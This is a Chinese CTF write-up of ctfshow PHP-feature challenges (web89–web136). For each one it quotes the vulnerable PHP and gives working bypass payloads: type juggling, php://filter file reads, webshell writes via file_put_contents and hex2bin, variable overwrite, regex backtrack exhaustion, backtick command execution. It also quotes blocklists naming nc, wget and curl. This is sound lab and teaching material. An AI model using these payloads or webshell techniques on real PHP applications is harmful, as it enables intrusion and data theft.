Web专项练习—ctfshow-php特性
php绕过方法总结
- 小数绕过
- 进制绕过
- ==、 = ==绕过
- %20空格绕过
- %0a换行绕过
- 回车\空格+八进制绕过
- 相对路径绕过
- php伪协议读取文件
- 数组md5值为0
- 弱类型匹配
- 函数写🐎
- 运算优先级漏洞
- 反射类绕过
- call_user_func()绕过
- sha1()函数绕过
- 变量覆盖
- sha1弱比较
- md5弱比较
- ereg()截断漏洞
- php内置类 FilesystemIterator
- 压缩过滤器绕过
- 空格代替url ‘_’ 绕过
- gettext扩展绕过
- 数组strpos()值为null
- && || 的优先级绕过
- 反弹shell、curl
- Linux中的cp命令
- Linux中的tee命令
- 调用类中函数
- 弱比较
- 取反绕过
- 异或,同0异1
- 三目运算符构造payload
- 等号和位运算符
- create_function()函数
- 尝试非预期解
- 魔术方法
web89
intaval()
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if(preg_match("/[0-9]/", $num)){
die("no no no!");
}
if(intval($num)){
echo $flag;
}
}
intval()–非空的数组会返回1,可以采用数组绕过intval()函数
intval()函数只匹配整数部分
preg_match()
返回的匹配次数,不匹配为0,匹配成功1次即为1,然后停止搜索,该函数只会匹配一行,可以%0a换行绕过
preg_match_all()不同于此,它会一直搜索 直到到达结尾。 如果发生错误preg_match()返回 FALSE。
web90
全等于与等于
=== -----> 全等于 == ------> 等于,一个精确度很高,一个是简单等于
1、如果类型不同,就不相等
2、如果两个都是数值,并且是同一个值,那么相等;如果其中至少一个是NaN,那么[不相等]。(判断一个值是否是NaN,只能用isNaN()来判断)
【总结】a===b,是先判断a和b的类型是否相同,如果不用则False;如果相同,再判断值是否相同。所以:’2’===2->False
a==b,是判断a(支持自动类型转换)的值和b的值是否相同->所以’2’和2,在值上是一样的。所以:’2’==2->True
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}else{
echo intval($num,0);
}
}
intval($num,0):
intval支持不同进制,这里base指定是0,那么intval会根据我们输入情况使用进制,
所以这里我就就可以用16进制或八进制表示4476
?num=0×117c //十六进制
?num=010574 //八进制
intval取的是我们所输入内容开头的整数,也就是说我们传入含有字符的字符串,例如?num=4476a,那么intval(“4476a”)也等于4476
web91
preg_match参数匹配\m \i
show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
if(preg_match('/^php$/i', $a)){
echo 'hacker';
}
else{
echo $flag;
}
}
else{
echo 'nonononono';
}
/i 表示匹配的时候不区分大小写
/m 表示多行匹配,匹配换行符两端的潜在匹配。影响正则中的^$符号
多行匹配可以通过%0a(回车键)绕过
在题中,构造payload为
?cmd=flag.%0Aphp
第一行为多行匹配,满足第一行的条件,第二行为单行匹配,只需要保证第一行中不出现完整的php就可满足条件,get到flag
web92
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}
与web90的差距,就在于此题为弱类型,即web90的?num=4476a不能满足题意
因为==比较中,4476a=4476
因为在本题中intval(
n
u
m
,
num,
num,base)第二个参数base=0,为0时,通过检测var的格式来判断使用的进制,如果字符串包括了"0x"(或"0X")的前缀,使用16进制(hex);如果字符串以"0”开始,使用8进制(octal);否则将使用10进制(decimal)。
进制绕过
通过十六进制或者八进制都可绕过
?num=0×117c //十六进制
?num=010574 //八进制
特殊字母e绕过
通过?num=4476e321321321也可以拿到flag,因为e比较特殊,可以在php中不是科学计数法,构造这个payload,可以绕过第一个if条件,然后进行的第二个if比较就和web90相同了
web93
弱类型比较+过滤字母–八进制绕过
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}
此题条件比较苛刻,不仅弱比较了4476,而且不允许num参数中出现字母(\i参数表示忽略大小写),也就是我们可以同样 采用进制绕过,但是可以使用的进制只有八进制
?num=010574 //八进制
web94
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(!strpos($num, "0")){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}
}
strpos()
strpos($num, “0”)
strpos()函数的理解:该函数是从我们传入的参数num中,寻找并匹配数字0,第一位匹配正确返回0,第二位匹配正确返回1,以后递推,所以在题中即为只要匹配到,输出就为true,取反就为false.所以可以通过除了第一位其他位出现0的方法让if条件为假。**该函数并不是只匹配一行数据。回车后匹配仍有效。**可以通过?num=%0a4476绕过
intval()
intval()函数只匹配整数部分,综上可以构建小数中含有0的payload:?num=4476.011
也可以选择八进制绕过,不过需要使num参数前加空格占位,使其满足第一位不能出现0的条件
web95
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]|\./i", $num)){
die("no no no!!");
}
if(!strpos($num, "0")){
die("no no no!!!");
}
if(intval($num,0)===4476){
echo $flag;
}
}
$num==4476
绕过该if条件,可以通过%0a回车换行实现。
绕过第一个if后可以通过进制转换绕过
因为==号只能判断数字是否相等,不能进行进制转换,故可以绕过第一个if。第二个有过滤".",故只能进行进制转换绕过,而且只能是八进制
payload:?num=%0a010574
payload:?num=%20010574
payload:?num=+010574
空格\回车+八进制绕过
web96
highlight_file(__FILE__);
if(isset($_GET['u'])){
if($_GET['u']=='flag.php'){
die("no no no");
}else{
highlight_file($_GET['u']);
}
}
相对路径绕过
这道题我们需要读取flag.php文件,但是限制了参数u不能为flag.php,故可以采用相对路径来绕过。
payload:?u=./flag.php
php伪协议
想要读取我们想要的flag.php文件,可以采用php伪协议的方法。
fliter伪协议,传参如下:
?file=php://filter/convert.base64-encode/resource=flag.php
对于这题应该使用
payload:?u=php://filter/convert.base64-encode/resource=flag.php
?u=php://filter/resource=flag.php
将得到的base64解密即可
web97
include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
比较md5值
在题中可以利用数组的md5值为零,来绕过
payload:a[]=1&b[]=2
web98
include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
php三元运算符
和C语言类似
事实上,三元运算符可以扩展使用,当设置的条件成立或不成立,执行语句都可以不止一句,试看以下格式:
(expr1) ? (expr2).(expr3) : (expr4).(expr5);
多个执行语句可以使用用字符串运算符号(“.”)连接起来,各执行语句用小角括号包围起来以表明它是一个独立而完整的执行语句。
expr1成立就执行expr2和expr3,否则执行expr4和expr5
本题代码分析见上代码
payload:?1=1 post:HTTP_FLAG=flag
web99
highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) {
array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
file_put_contents($_GET['n'], $_POST['content']);
}
in_array()
in_array(search,array,type)
search—必须,规定在数组中搜索的值
array—必需,规定搜索的数组
type—可选,如果设置该参数为 true,则检查搜索的数据与数组的值的类型是否相同。
如果设置了第三个参数,函数只有在元素存在于数组中且数据类型与给定值相同时才返回 true。
而题中没有设置,这里可以默认没有设置,即只是弱类型匹配
弱类型匹配
题中就是利用了in_array()的弱类型匹配
$allow是个数组,给定一个i的取值范围,然后利用array_push函数,不断循环向数组里面添加数据。
猜想一个随机数可以构造get传参
?n=123.php
然后post传参content一个一句话木马,此处没有过滤,故最简单的就可,最终payload
?n=123.php
content=<?php eval($_REQUEST[1]);?>
打开123.php文件后
1=system("ls");
1=system("cat flag.36d.php");
web100
highlight_file(__FILE__);
include("ctfshow.php");
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\;/", $v2)){
if(preg_match("/\;/", $v3)){
eval("$v2('ctfshow')$v3");
}
}
}
is_numeric()
检测变量是否为数字,如果是,返回true,否则返回false
or与||、and与&&
优先级:逻辑运算符>逻辑运算(赋值)>and、or
由题中代码可知,v0的取值只和v1有关。v1参数为数字,没有其他限制,但是v2不能有;标志,v3必须有;标志,满足条件后执行eval函数,故可以构造payload
?v1=12.12&v2=var_dump($ctfshow)&v3=;
web101
highlight_file(__FILE__);
include("ctfshow.php");
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
eval("$v2('ctfshow')$v3");
}
}
}
本题与上一题的区别在于v2、v3的过滤,本题过滤较多,过滤的符号有
\ / | ~ ` @ ! # $ % ^ * ) - _ + = { [ " ' , . ; ? 和数字
反射类求解
反射类可以理解为一个类的映射。其实和调用对象的方法类似只不过这里是反着来的,方法在前,对象在后
payload:?v1=143&v2=echo new ReflectionClass&v3=;
web102
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2);
$str = call_user_func($v1,$s);
echo $str;
file_put_contents($v3,$str);
}
else{
die('hacker');
}
call_user_func()
把第一个参数作为回调参数调用
本题中要求v2是数字,然后通过substr函数截取v2的第三位开始的数据,及以后的数据。v1、v3题中没有限制,
is_numerc()
该函数在php5版本下有漏洞,可以识别十六进制,所以可以将一句话木马写作十六进制的格式
故构造v2=(<?php eval($_REQUEST[a]);?>)
v2=3c3f706870206576616c28245f524551554553545b615d293b3f3e
v1可以利用hex2bin()函数来进行把十六进制字符转换成ASCII字符,即我们想要的一句话木马。
v1=hex2bin
v3是file_put_content()函数的文件名,
file_put_content()函数的str变量是回调的v1参数
v3通过伪协议写入1.php文件中内容
v3=php://filter/write=convert.base64-decode/resource=1.php
$a='<?=`cat *`;';
$b=base64_encode($a); // PD89YGNhdCAqYDs=
$c=bin2hex($b); //这里直接用去掉=的base64
输出 5044383959474e6864434171594473
带e的话会被认为是科学计数法,可以通过is_numeric检测。
payload
get v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php post: v1=hex2bin
web103
解题过程payload同web102
web104
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['v1']) && isset($_GET['v2'])){
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
if(sha1($v1)==sha1($v2)){
echo $flag;
}
}
由题可知,get传参v2,post传参v1
sha1()
sha1()函数在判断时无法处理数组类型,会返回false,故可以构建数组类型绕过
题中sha1()函数弱相等,提交的两个参数只需要满足经过运算后的值相等即可
payload:post v1=1 get v2=1
web105
highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){
if($key==='error'){
die("what are you doing?!");
}
$$key=$$value;
}foreach($_POST as $key => $value){
if($value==='flag'){
die("what are you doing?!");
}
$$key=$$value;
}
if(!($_POST['flag']==$flag)){
die($error);
}
echo "your are good".$flag."\n";
die($suces);
foreach()
foeach是一种特殊的循环语句,只适用于数组和对象
payload
get ?suces=flag
post error=suces
web106
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['v1']) && isset($_GET['v2'])){
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
if(sha1($v1)==sha1($v2) && $v1!=$v2){
echo $flag;
}
}
此题类型和前面相同,构造数组,可以实现值不相同而且sha1算法结果为0
或者进行sha1弱比较
web107
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
if(isset($_POST['v1'])){
$v1 = $_POST['v1'];
$v3 = $_GET['v3'];
parse_str($v1,$v2);
if($v2['flag']==md5($v3)){
echo $flag;
}
}
post-v1 get-v3
parse_str()
将字符串解析成多个变量
$a='q=123&p=456';
parse_str($a,$b);
echo $b['q']; //输出123
echo $b['p']; //输出456
$a='q=123&p=456&r=789';
parse_str($a,$c);
echo $c['q']; //输出123
echo "<br/>";
echo $c['p']; //输出456
echo "<br/>";
echo $c['r']; //输出789
在题中只需要构造payload为
?v3=1
v1=flag=c4ca4238a0b923820dcc509a6f75849b
web108
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE) {
die('error');
}
if(intval(strrev($_GET['c']))==0x36d){
echo $flag;
}
ereg()
正则匹配的一种,存在NULL截断漏洞,导致正则过滤被绕过,可以使用%00截断正则匹配
strrev()
字符串逆序,0x36d十进制为877,逆序即为778
故可以构建payload
?C=a%00778
web109
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
eval("echo new $v1($v2());");
}
}
在eval函数中,构建了一个新的类,我们可以保证在内部类不报错的情况下进行输出
反射类绕过
?v1=ReflectionClass&v2=system("ls")
?v1=ReflectionClass&v2=system("cat fl36dg.txt")
答案在源码
web110
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
die("error v1");
}
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
die("error v2");
}
eval("echo new $v1($v2());");
}
本题和上一题整体较为相似,区别在于增加了过滤,v1、v2能用的只有字母。
FilesystemIterator
php内置类 利用 FilesystemIterator 获取指定目录下的所有文件
利用getcwd()函数来获取当前工作目录
payload:?v1=FilesystemIterator&v2=getcwd
得到fl36dga.txt
因为该文件在当前目录下,所以可以直接访问,得到flag
web111
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
function getFlag(&$v1,&$v2){
eval("$$v1 = &$$v2;");
var_dump($$v1);
}
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
die("error v1");
}
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
die("error v2");
}
if(preg_match('/ctfshow/', $v1)){
getFlag($v1,$v2);
}
}
PHP超全局变量$GLOBALS
$GLOBALS — 引用全局作用域中可用的全部变量 一个包含了全部变量的全局组合数组。变量的名字就是数组的键。
本题限制v1、v2只能为字母,而且控制v1的值只能为ctfshow
payload :?v1=ctfshow&v2=GLOBALS
function getFlag(&$v1,&$v2){
eval("$$v1 = &$$v2;");
var_dump($$v1);
}
web112
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
die("hacker!");
}else{
return $file;
}
}
$file=$_GET['file'];
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}
is_file()函数
该函数检查指定的文件名是否为正常的文件
出题目的为,让is_file()函数检测不出是正常的文件,但是highlight_file()可以识别为正常的文件,可以利用php伪协议
php伪协议
payload:
?file=php://filter/resource=flag.php
?file=php://filter/convert.base64-encode/resource=flag.php//我觉得这里base64被过滤了,应该改成别的编码方式才行,但是事实证明是可以的
?file=php://filter/convert.base32-encode/resource=flag.php//当然base32等其他的base系列都是可以的,或者其他的编码形式
?file=php://filter/read=convert.quoted-printable-encode/resource=flag.php
?file=compress.zlib://flag.php
?file=php://filter/read=convert.iconv.utf-8.utf-16le/resource=flag.php
web113
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
die('hacker!');
}else{
return $file;
}
}
$file=$_GET['file'];
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}
此题与上一题相比,多过滤了filter,但是我们可以使用别的伪协议
php伪协议
压缩过滤器绕过
payload:
?file=compress.zlib://flag.php
多次重复绕过
linux里/proc/self/root 是指向根目录的,也就是如果在命令行中输入ls /proc/self/root ,其实显示的内容是根目录下的内容 多次重复后绕过is_file 。
payload:
?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
web114
error_reporting(0);
highlight_file(__FILE__);
function filter($file){
if(preg_match('/compress|root|zip|convert|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
die('hacker!');
}else{
return $file;
}
}
$file=$_GET['file'];
echo "师傅们居然tql都是非预期 哼!";
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
} 师傅们居然tql都是非预期 哼!
这道题虽然过滤掉了compress,不能用上道题的payload,但是这道题没有过滤掉filter,故我们可以使用filter系列
payload:
?file=php://filter/resource=flag.php
下面的都是错误的payload
?file=php://filter/convert.base64-encode/resource=flag.php//我觉得这里base64被过滤了,应该改成别的编码方式才行,但是事实证明是可以的
?file=php://filter/convert.base32-encode/resource=flag.php//当然base32等其他的base系列都是可以的,或者其他的编码形式
?file=php://filter/read=convert.quoted-printable-encode/resource=flag.php
?file=compress.zlib://flag.php
file=php://filter/read=convert.iconv.utf-8.utf-16le/resource=flag.php
web115
include('flag.php');
highlight_file(__FILE__);
error_reporting(0);
function filter($num){
$num=str_replace("0x","1",$num);
$num=str_replace("0","1",$num);
$num=str_replace(".","1",$num);
$num=str_replace("e","1",$num);
$num=str_replace("+","1",$num);
return $num;
}
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
if($num=='36'){
echo $flag;
}else{
echo "hacker!!";
}
}else{
echo "hacker!!!";
} hacker!!!
trim()
移除字符串两侧的字符,第一个参数写入需要操作的字符串,第二个参数写入需要移除的字符
本地验证
for ($i=0; $i <=128 ; $i++) {
$x=chr($i).'1';
if(trim($x)!=='1' && is_numeric($x)){
echo urlencode(chr($i))."\n";
}
}
输出结果为
%0C %2B - . 0 1 2 3 4 5 6 7 8 9
%0c是换页符,%2B是+
所以能用的只有%0c
?num=%0C36
web123
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}
php变量名特性绕过
PHP变量名应该只有数字字母下划线,同时GET或POST方式传进去的变量名,会自动将空格+ . [ 转换为_
所以我们没有办法post CTF_SHOW.COM进去
这里就用到了php变量名特性绕过
在变量名中出现了[的话,在get、post传参中,[就会被替换成_,然后其后的字母不会发生变化,CTF[ SHOW.COM=>CTF_ SHOW.COM
$argv
传递给脚本的参数数组,也可以在 [$_SERVER’argv’] 中获取。
将fun的值直接赋值给$c, 然后执行eval函数
payload
?fl0g=flag_give_me
CTF_SHOW=1&CTF[show.com=1&fun=echo $flag
至于
c
<
=
18
的
条
件
,
经
过
本
人
亲
自
验
证
,
发
现
当
c<=18的条件,经过本人亲自验证,发现当
c<=18的条件,经过本人亲自验证,发现当c是字符串的时候,有$c==0;
$flag = 123;
$c = "echo $flag";
if($c==0)
{
echo 1 ."<br/>";
echo $flag ."<br/>";
eval("$c".";");
}
还有payload如下,目前暂不理解为什么:
get:
?a=1+fl0g=flag_give_me
post:
CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])
get:
?$fl0g=flag_give_me;
post:
CTF_SHOW=&CTF[SHOW.COM=&fun=eval($a[0])
web125
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i", $c)&&$c<=16){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}
$argv
借助上题payload
get:
?1=flag.php
post:
CTF_SHOW=&CTF[SHOW.COM=&fun=highlight_file($_GET[1])
web126
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print|g|i|f|c|o|d/i", $c) && strlen($c)<=16){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}
在前几题的基础上过滤了更多
parse_str()
get:
?a=1+fl0g=flag_give_me
post:
CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])
assert()函数
get:
?$fl0g=flag_give_me
post:
CTF_SHOW=&CTF[SHOW.COM=&fun=assert($a[0])
//需要用burp
web127
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$ctf_show = md5($flag);
$url = $_SERVER['QUERY_STRING'];
function waf($url){
if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $url)){
return true;
}else{
return false;
}
}
if(waf($url)){
die("嗯哼?");
}else{
extract($_GET);
}
if($ctf_show==='ilove36d'){
echo $flag;
}
$_SERVER[]
$_SERVER 是 PHP 预定义变量之一,可以直接使用,它是一个包含了诸如头信息(header)、路径(path)及脚本位置(script locations)信息的数组。
$_SERVER 数组中的元素由 Web 服务器创建,但不能保证每个服务器都提供全部元素,有的服务器可能会忽略一些,或者提供一些没有在这里列举出来的元素。
空格代替url ‘_’ 绕过
需要我们传参进入ctf_show,且ctf_show的值为ilove36d,构造payload
?ctf show=ilove36d
$_SERVER[QUERY_STRING],经过验证,不能显示post传参的内容,故只能采取get传参
web128
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$f1 = $_GET['f1'];
$f2 = $_GET['f2'];
if(check($f1)){
var_dump(call_user_func(call_user_func($f1,$f2)));
}else{
echo "嗯哼?";
}
function check($str){
return !preg_match('/[0-9]|[a-z]/i', $str);
} NULL
要满足if条件,需要
s
t
r
匹
配
不
到
字
母
和
数
字
,
也
即
i
f
里
的
str匹配不到字母和数字,也即if里的
str匹配不到字母和数字,也即if里的f1匹配不到字母和数字
gettext()
当php开启了gettext扩展后,可以绕过字母
echo gettext(phpinfo());===echo _(phpinfo());
可以利用这个特点构造payload
?f1=_&f2=get_defined_vars
get_defined_vars()
get_defined_vars — 返回由所有已定义变量所组成的数组
call_user_function()
把第一个参数作为回调函数调用,其余的参数作为回调函数的参数
var_dump(call_user_func(call_user_func($f1,$f2)));
=> var_dump(call_user_func(call_user_func(_,'get_defined_vars')));
=> var_dump(call_user_func(get_defined_vars));
web129
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['f'])){
$f = $_GET['f'];
if(stripos($f, 'ctfshow')>0){
echo readfile($f);
}
}
stripos()
查找字符串在另一字符串中第一次出现的位置(不区分大小写),第一个位置记为0,即如果要读取文件需要兼顾不在第一个位置出现ctfshow,而且满足读取文件的条件
?f=/ctfshow/../var/www/flag.php
?f=./ctfshow/../flag.php
?f=php://filter/read=convert.base64-encode|ctfshow/resource=flag.php
?f=php://filter/|ctfshow/resource=flag.php
web130
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
$f = $_POST['f'];
if(preg_match('/.+?ctfshow/is', $f)){
die('bye!');
}
if(stripos($f, 'ctfshow') === FALSE){
die('bye!!');
}
echo $flag;
}
绕过第一个正则匹配,第一个正则匹配中,. 表示任意单个字符,+表示必须匹配一次或者多次,尽可能少重复,
所以ctfshow前至少有一个字符的时候就会返回TRUE
\i参数匹配大小写 \s参数匹配换行
绕过第二个正则匹配,即匹配成功参数f匹配成功ctfshow
payload:f=ctfshow
preg_match回溯限制
回溯限制为100万次,写脚本
import requests
url="http://df990057-ba53-43bb-ad81-b7975ae92a96.challenge.ctf.show/:8080/"
data={
'f':'very'*250000+'ctfshow'
}
r=requests.post(url,data=data)
print(r.text)
超出回溯次数,preg_match函数报错,同时传入ctfshow,绕过第二个
数组绕过
第二个正则匹配是强等于,类型必须相同
采用数组 绕过的方法,stripos函数 会返回null ,null!=false ,所以可以绕过stripos函数
f[]=a
web131
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
$f = (String)$_POST['f'];
if(preg_match('/.+?ctfshow/is', $f)){
die('bye!');
}
if(stripos($f,'36Dctfshow') === FALSE){
die('bye!!');
}
echo $flag;
}
题目同上一题类似,比较差异后,发现不可以采用数组绕过,这里暂时不明白为什么
$a = str_repeat("show",250000);
$b = $a . "36Dctfshow";
echo $b;
编写字符串,对第一个正则进行长度限制的绕过,然后输入36Dctfshow,绕过第二个正则
web132
首先访问robots.txt,查看到当前网页不允许访问的文件有admin,直接打开admin,进入找到源码
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){
$username = (String)$_GET['username'];
$password = (String)$_GET['password'];
$code = (String)$_GET['code'];
if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){
if($code == 'admin'){
echo $flag;
}
}
}
&& || 的优先级
优先级的问题,||的优先级低于&&,所以只需要保证username=admin即可,令code=admin就可以满足if条件
payload:?username=admin&code=admin&password=1212342131
web133
error_reporting(0);
highlight_file(__FILE__);
if($F = @$_GET['F']){
if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){
eval(substr($F,0,6));
}else{
die("6个字母都还不够呀?!");
}
}
反弹shell、curl外带、盲注
没有回显的RCE题目,可以通过反弹shell、curl外带、盲注
变量套变量
curl外带
curl
Linux中的cp命令
利用cp命令将flag.php写入1.txt,然后访问1.txt
payload:
?F=`$F` ;cp flag.php 1234.txt
/1234.txt
注意是反引号,相当于shell_exec()函数
web134
highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;
if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) {
die("nonononono");
}
@parse_str($_SERVER['QUERY_STRING']);
extract($_POST);
if($key1 == '36d' && $key2 == '36d') {
die(file_get_contents('flag.php'));
}
$_SERVER[‘QUERY_STRING’]
获取查询语句,实例中可知,获取的是?后面的值,只有get请求
extract()
该函数是将数组中的值依次复制给$键=值
parse_string()
将字符串解析到变量中
如果未设置 array 参数,则由该函数设置的变量将覆盖已存在的同名变量。
payload:?_POST[key1]=36d&_POST[key2]=36d
web135
error_reporting(0);
highlight_file(__FILE__);
if($F = @$_GET['F']){
if(!preg_match('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i', $F)){
eval(substr($F,0,6));
}else{
die("师傅们居然破解了前面的,那就来一个加强版吧");
}
}
Linux中的cp命令
利用cp命令将flag.php写入1.txt,然后访问1.txt
payload:
?F=`$F` ;cp flag.php 1234.txt
/1234.txt
注意是反引号,相当于shell_exec()函数
web136
error_reporting(0);
function check($x){
if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
die('too young too simple sometimes naive!');
}
}
if(isset($_GET['c'])){
$c=$_GET['c'];
check($c);
exec($c);
}
else{
highlight_file(__FILE__);
}
Linux tee命令
tee file //覆盖
tee -a file //追加
tee - //输出到标准输出两次
tee --//输出到标准输出三次
tee file1 file2 // 输出到标准输出两次,并写到那两个文件中
ls | tee file
另:把标准错误也被tee读取 ls “*” 2>&1 | tee ls.txt
